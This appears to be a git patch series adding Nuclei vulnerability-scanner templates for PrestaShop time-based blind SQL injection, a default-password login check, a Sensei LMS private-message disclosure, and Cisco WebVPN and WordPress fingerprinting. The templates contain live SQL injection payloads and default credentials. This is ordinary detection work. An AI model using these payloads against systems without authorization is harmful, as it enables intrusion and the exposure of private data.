From 72c56e0ff027d99b29de25ea65cd66aaca6ae555 Mon Sep 17 00:00:00 2001 From: jaimin4949 <62239432+jaimin4949@users.noreply.github.com> Date: Thu, 18 Feb 2021 01:57:08 +0530 Subject: [PATCH 001/289] CVE-2021-3110 Blind Sqli --- cves/2021/CVE-2021-3110.yaml | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 cves/2021/CVE-2021-3110.yaml diff --git a/cves/2021/CVE-2021-3110.yaml b/cves/2021/CVE-2021-3110.yaml new file mode 100644 index 0000000000..5f693d7800 --- /dev/null +++ b/cves/2021/CVE-2021-3110.yaml @@ -0,0 +1,24 @@ +id: cve-2021-3110 + +info: + name: prestshop CMS SQL Injection + author: Jaimin Gondaliya + severity: high + description: Prestashop 1.7.7.0 - 'id_product' Time Based Blind SQL Injection + + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(5)))xoOt)" + matchers-condition: and + matchers: + - type: word + words: + - "average_grade" + - "1 AND (SELECT 3875 FROM (SELECT(SLEEP(5)))xoOt)" + condition: and + part: body + - type: status + status: + - 200 \ No newline at end of file From bb5589060b1712167ae4621d8bf2e7adfbdcc467 Mon Sep 17 00:00:00 2001 From: sandeep <8293321+bauthard@users.noreply.github.com> Date: Thu, 18 Feb 2021 10:43:09 +0530 Subject: [PATCH 002/289] updating few details --- cves/2021/CVE-2021-3110.yaml | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/cves/2021/CVE-2021-3110.yaml b/cves/2021/CVE-2021-3110.yaml index 5f693d7800..a094975361 100644 --- a/cves/2021/CVE-2021-3110.yaml +++ b/cves/2021/CVE-2021-3110.yaml @@ -1,12 +1,13 @@ -id: cve-2021-3110 +id: CVE-2021-3110 info: name: prestshop CMS SQL Injection author: Jaimin Gondaliya - severity: high + severity: critical description: Prestashop 1.7.7.0 - 'id_product' Time Based Blind SQL Injection + reference: https://nvd.nist.gov/vuln/detail/CVE-2021-3110 + tags: cve,cve2021,sqli,prestshop - requests: - method: GET path: @@ -19,6 +20,7 @@ requests: - "1 AND (SELECT 3875 FROM (SELECT(SLEEP(5)))xoOt)" condition: and part: body + - type: status status: - 200 \ No newline at end of file From c8c2637480be55615d33a2c20cea8281faf637af Mon Sep 17 00:00:00 2001 From: PikPikcU <60111811+pikpikcu@users.noreply.github.com> Date: Wed, 28 Apr 2021 17:59:27 +0000 Subject: [PATCH 003/289] Create nsicg-default-password.yaml --- .../nsicg/nsicg-default-password.yaml | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 default-logins/nsicg/nsicg-default-password.yaml diff --git a/default-logins/nsicg/nsicg-default-password.yaml b/default-logins/nsicg/nsicg-default-password.yaml new file mode 100644 index 0000000000..cba4d8b917 --- /dev/null +++ b/default-logins/nsicg/nsicg-default-password.yaml @@ -0,0 +1,27 @@ +id: nsicg-default-password + +info: + name: Nsicg Default Password + author: pikpikcu + severity: low + reference: | + - https://www.cnvd.org.cn/flaw/show/CNVD-2016-08603 + tags: nscig,default-logins + +requests: + - method: POST + path: + - "{{BaseURL}}/user/login/checkPermit" + body: "usrname=ns25000&pass=ns25000" + + matchers-condition: and + matchers: + + - type: word + words: + - '{"agreed":true}' + condition: and + + - type: status + status: + - 200 From 9c6cdf32ac1746f3d065b1cec687551774f035ca Mon Sep 17 00:00:00 2001 From: Prince Chaddha Date: Sun, 16 May 2021 02:18:58 +0530 Subject: [PATCH 004/289] Update nsicg-default-password.yaml --- default-logins/nsicg/nsicg-default-password.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/default-logins/nsicg/nsicg-default-password.yaml b/default-logins/nsicg/nsicg-default-password.yaml index cba4d8b917..b03791cb87 100644 --- a/default-logins/nsicg/nsicg-default-password.yaml +++ b/default-logins/nsicg/nsicg-default-password.yaml @@ -6,7 +6,7 @@ info: severity: low reference: | - https://www.cnvd.org.cn/flaw/show/CNVD-2016-08603 - tags: nscig,default-logins + tags: nscig,default-login requests: - method: POST From 0ebad4fce6e1bf2b2284ba39e05e4128f485c248 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=EF=BC=A1=EF=BC=AE=EF=BC=A4=EF=BC=B2=EF=BC=A9=20=EF=BC=A8?= =?UTF-8?q?=2E=EF=BC=B5?= Date: Tue, 30 Aug 2022 20:40:36 +0700 Subject: [PATCH 005/289] Create wordpress-unauthenticated-private-messages.yaml --- ...ress-unauthenticated-private-messages.yaml | 28 +++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 vulnerabilities/wordpress/wordpress-unauthenticated-private-messages.yaml diff --git a/vulnerabilities/wordpress/wordpress-unauthenticated-private-messages.yaml b/vulnerabilities/wordpress/wordpress-unauthenticated-private-messages.yaml new file mode 100644 index 0000000000..1837f67d0a --- /dev/null +++ b/vulnerabilities/wordpress/wordpress-unauthenticated-private-messages.yaml @@ -0,0 +1,28 @@ +id: wordpress-unauthenticated-enum + +info: + name: Unauthenticated Private Messages Disclosure + author: imhunterand + severity: medium + tags: wordpress + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-json/wp/v2/sensei-messages/" + + matchers-condition: and + matchers: + - type: regex + regex: + - '(?i)Location: http(s|):\/\/[\w\.\-]+\/sensei-messages\/\w+' + part: header + - type: status + status: + - 301 + + extractors: + - type: regex + part: header + regex: + - 'sensei-messages\/\w+' From dfeee28760c11e1e5e1fee1d1aa1b69e42f0117a Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Tue, 30 Aug 2022 21:29:02 +0530 Subject: [PATCH 006/289] Update and rename vulnerabilities/wordpress/wordpress-unauthenticated-private-messages.yaml to cves/2022/CVE-2022-2034.yaml --- cves/2022/CVE-2022-2034.yaml | 36 +++++++++++++++++++ ...ress-unauthenticated-private-messages.yaml | 28 --------------- 2 files changed, 36 insertions(+), 28 deletions(-) create mode 100644 cves/2022/CVE-2022-2034.yaml delete mode 100644 vulnerabilities/wordpress/wordpress-unauthenticated-private-messages.yaml diff --git a/cves/2022/CVE-2022-2034.yaml b/cves/2022/CVE-2022-2034.yaml new file mode 100644 index 0000000000..ef25bfbf09 --- /dev/null +++ b/cves/2022/CVE-2022-2034.yaml @@ -0,0 +1,36 @@ +id: CVE-2022-2034 + +info: + name: Sensei LMS < 4.5.0 - Unauthenticated Private Messages Disclosure + author: imhunterand + severity: medium + description: | + The Sensei LMS WordPress plugin before 4.5.0 does not have proper permissions set in one of its REST endpoint, allowing unauthenticated users to access private messages sent to teachers + reference: + - https://wpscan.com/vulnerability/aba3dd58-7a8e-4129-add5-4dd5972c0426 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2034 + classification: + cve-id: CVE-2022-2034 + tags: cve,cve2022,wordpress,wp-plugin,wp + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-json/wp/v2/sensei-messages/" + + matchers-condition: and + matchers: + - type: regex + part: header + regex: + - '(?i)Location: http(s|):\/\/[\w\.\-]+\/sensei-messages\/\w+' + + - type: status + status: + - 301 + + extractors: + - type: regex + part: header + regex: + - 'sensei-messages\/\w+' diff --git a/vulnerabilities/wordpress/wordpress-unauthenticated-private-messages.yaml b/vulnerabilities/wordpress/wordpress-unauthenticated-private-messages.yaml deleted file mode 100644 index 1837f67d0a..0000000000 --- a/vulnerabilities/wordpress/wordpress-unauthenticated-private-messages.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: wordpress-unauthenticated-enum - -info: - name: Unauthenticated Private Messages Disclosure - author: imhunterand - severity: medium - tags: wordpress - -requests: - - method: GET - path: - - "{{BaseURL}}/wp-json/wp/v2/sensei-messages/" - - matchers-condition: and - matchers: - - type: regex - regex: - - '(?i)Location: http(s|):\/\/[\w\.\-]+\/sensei-messages\/\w+' - part: header - - type: status - status: - - 301 - - extractors: - - type: regex - part: header - regex: - - 'sensei-messages\/\w+' From cbc6e2f6f471b16343d0779c5c6fe784d5b6c0b5 Mon Sep 17 00:00:00 2001 From: edoardottt Date: Fri, 30 Sep 2022 18:27:58 +0200 Subject: [PATCH 007/289] Add CVE-2020-26248 --- cves/2020/CVE-2020-26248.yaml | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 cves/2020/CVE-2020-26248.yaml diff --git a/cves/2020/CVE-2020-26248.yaml b/cves/2020/CVE-2020-26248.yaml new file mode 100644 index 0000000000..acf37420a5 --- /dev/null +++ b/cves/2020/CVE-2020-26248.yaml @@ -0,0 +1,29 @@ +id: CVE-2020-26248 + +info: + name: PrestaShop ProductComments < 4.2.0 - SQL Injection + author: edoardottt + severity: critical + description: | + In the PrestaShop module "productcomments" before version 4.2.1, an attacker can use a Blind SQL injection to retrieve data or stop the MySQL service. The problem is fixed in 4.2.1 of the module. + reference: + - https://packetstormsecurity.com/files/160539/PrestaShop-ProductComments-4.2.0-SQL-Injection.html + - https://nvd.nist.gov/vuln/detail/CVE-2020-26248 + classification: + cve-id: CVE-2020-26248 + tags: cve,prestashop,productcomments,cve2020,sqli + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(5)))a)" + + matchers-condition: and + matchers: + - type: dsl + dsl: + - 'duration>=5' + + - type: status + status: + - 200 \ No newline at end of file From 43eafee24ca4ea042d314fdfeacd01dab66a1a22 Mon Sep 17 00:00:00 2001 From: Ricardo Maia Date: Thu, 27 Oct 2022 16:16:04 -0300 Subject: [PATCH 008/289] CISCO WebVPN detect --- exposed-panels/cisco/cisco-webvpn-detect.yaml | 40 +++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 exposed-panels/cisco/cisco-webvpn-detect.yaml diff --git a/exposed-panels/cisco/cisco-webvpn-detect.yaml b/exposed-panels/cisco/cisco-webvpn-detect.yaml new file mode 100644 index 0000000000..fa0d6dfd70 --- /dev/null +++ b/exposed-panels/cisco/cisco-webvpn-detect.yaml @@ -0,0 +1,40 @@ +id: cisco-webvpn-detect +info: + name: CISCO WebVPN detect + author: ricardomaia + severity: info + reference: + - https://askanydifference.com/difference-between-cisco-clientless-ssl-vpn-and-anyconnect-with-table/ + tags: panel,cisco,vpn + metadata: + fofa-query: fid="U1TP/SJklrT9VLIEpZkQNg==" + google-query: intitle:"SSLVPN Service" + +requests: + - method: GET + redirects: true + max-redirects: 2 + stop-at-first-match: true + matchers-condition: and + path: + - "{{BaseURL}}/webvpn.html" + - "{{BaseURL}}" + matchers: + - type: word + case-insensitive: true + condition: or + part: header + words: + - "webvpncontext" + - "CISCO" + - "AnyConnect" + - "SSL_Context" + - "WEBVPN" + - type: word + case-insensitive: true + condition: or + part: body + words: + - "CISCO" + - "AnyConnect" + - "SSLVPN Service" From d9dcf035ffa9cd21c0b2049d2b0ebc09606a9c85 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Wed, 9 Nov 2022 11:28:01 +0530 Subject: [PATCH 009/289] Update cves/2021/CVE-2021-3110.yaml Co-authored-by: Toufik Airane --- cves/2021/CVE-2021-3110.yaml | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/cves/2021/CVE-2021-3110.yaml b/cves/2021/CVE-2021-3110.yaml index a094975361..0d8e38678e 100644 --- a/cves/2021/CVE-2021-3110.yaml +++ b/cves/2021/CVE-2021-3110.yaml @@ -11,16 +11,16 @@ info: requests: - method: GET path: - - "{{BaseURL}}/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(5)))xoOt)" + - "{{BaseURL}}/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(7)))xoOt)" + matchers-condition: and matchers: - type: word words: - "average_grade" - - "1 AND (SELECT 3875 FROM (SELECT(SLEEP(5)))xoOt)" - condition: and part: body - - - type: status - status: + + - type: dsl + dsl: + - 'duration>=7' - 200 \ No newline at end of file From b089b765052fe867f7c9650631263c0fb52696b6 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Wed, 9 Nov 2022 11:30:08 +0530 Subject: [PATCH 010/289] Update CVE-2021-3110.yaml --- cves/2021/CVE-2021-3110.yaml | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/cves/2021/CVE-2021-3110.yaml b/cves/2021/CVE-2021-3110.yaml index 0d8e38678e..5bed960a46 100644 --- a/cves/2021/CVE-2021-3110.yaml +++ b/cves/2021/CVE-2021-3110.yaml @@ -11,16 +11,12 @@ info: requests: - method: GET path: - - "{{BaseURL}}/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(7)))xoOt)" + - "{{BaseURL}}/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(6)))xoOt)" - matchers-condition: and matchers: - - type: word - words: - - "average_grade" - part: body - - type: dsl dsl: - - 'duration>=7' - - 200 \ No newline at end of file + - 'duration>=6' + - 'status_code == 200' + - 'contains(body, "average_grade")' + condition: and From 7b462eb0bc417599699c9cc2202d495c4bea0f53 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Wed, 9 Nov 2022 11:33:04 +0530 Subject: [PATCH 011/289] Update CVE-2021-3110.yaml --- cves/2021/CVE-2021-3110.yaml | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/cves/2021/CVE-2021-3110.yaml b/cves/2021/CVE-2021-3110.yaml index 5bed960a46..5d5be392ff 100644 --- a/cves/2021/CVE-2021-3110.yaml +++ b/cves/2021/CVE-2021-3110.yaml @@ -1,11 +1,17 @@ id: CVE-2021-3110 info: - name: prestshop CMS SQL Injection + name: PrestaShop 1.7.7.0 SQL Injection author: Jaimin Gondaliya severity: critical - description: Prestashop 1.7.7.0 - 'id_product' Time Based Blind SQL Injection - reference: https://nvd.nist.gov/vuln/detail/CVE-2021-3110 + description: | + The store system in PrestaShop 1.7.7.0 allows time-based boolean SQL injection via the module=productcomments controller=CommentGrade id_products[] parameter. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-3110 + - https://medium.com/@gondaliyajaimin797/cve-2021-3110-75a24943ca5e + - https://www.exploit-db.com/exploits/49410 + metadata: + verified: true tags: cve,cve2021,sqli,prestshop requests: @@ -18,5 +24,6 @@ requests: dsl: - 'duration>=6' - 'status_code == 200' + - 'contains(content_type, "application/json")' - 'contains(body, "average_grade")' condition: and From a21e5edaf8cfd0a09c0b4cfd3283568f92bfbfc1 Mon Sep 17 00:00:00 2001 From: Ricardo Maia Date: Mon, 14 Nov 2022 14:55:34 -0300 Subject: [PATCH 012/289] Update cisco-webvpn-detect.yaml --- exposed-panels/cisco/cisco-webvpn-detect.yaml | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/exposed-panels/cisco/cisco-webvpn-detect.yaml b/exposed-panels/cisco/cisco-webvpn-detect.yaml index fa0d6dfd70..84077960c6 100644 --- a/exposed-panels/cisco/cisco-webvpn-detect.yaml +++ b/exposed-panels/cisco/cisco-webvpn-detect.yaml @@ -20,16 +20,6 @@ requests: - "{{BaseURL}}/webvpn.html" - "{{BaseURL}}" matchers: - - type: word - case-insensitive: true - condition: or - part: header - words: - - "webvpncontext" - - "CISCO" - - "AnyConnect" - - "SSL_Context" - - "WEBVPN" - type: word case-insensitive: true condition: or @@ -38,3 +28,9 @@ requests: - "CISCO" - "AnyConnect" - "SSLVPN Service" + - type: regex + part: header + condition: or + regex: + - "webvpncontext=00@.+" + - "webvpn=" From cbd0024812465adff5847a5204d60309760f555b Mon Sep 17 00:00:00 2001 From: Ricardo Maia Date: Tue, 15 Nov 2022 00:23:46 -0300 Subject: [PATCH 013/289] Update wordpress-detect.yaml --- technologies/wordpress-detect.yaml | 55 ++++++++++++++++-------------- 1 file changed, 30 insertions(+), 25 deletions(-) diff --git a/technologies/wordpress-detect.yaml b/technologies/wordpress-detect.yaml index ef69cb594a..08f4229649 100644 --- a/technologies/wordpress-detect.yaml +++ b/technologies/wordpress-detect.yaml @@ -2,7 +2,7 @@ id: wordpress-detect info: name: WordPress Detect - author: pdteam,daffainfo + author: pdteam,daffainfo,ricardomaia severity: info metadata: verified: true @@ -11,40 +11,45 @@ info: requests: - method: GET - path: - - '{{BaseURL}}' - - '{{BaseURL}}/feed/' - - '{{BaseURL}}/?feed=rss2' #alternative if /feed/ is blocked - stop-at-first-match: true - matchers-condition: or + path: + - "{{BaseURL}}/feed/" + - "{{BaseURL}}/wp-admin/install.php" + - "{{BaseURL}}" + - "{{BaseURL}}/?feed=rss2" # alternative if /feed/ is blocked + + matchers-condition: and matchers: - type: regex regex: + - 'https?:\/\/wordpress\.org.*' + - "wp-login.php" + - '\/wp-content/themes\/' + - '\/wp-includes\/' + - 'name="generator" content="wordpress' - ']+s\d+\.wp\.com' - '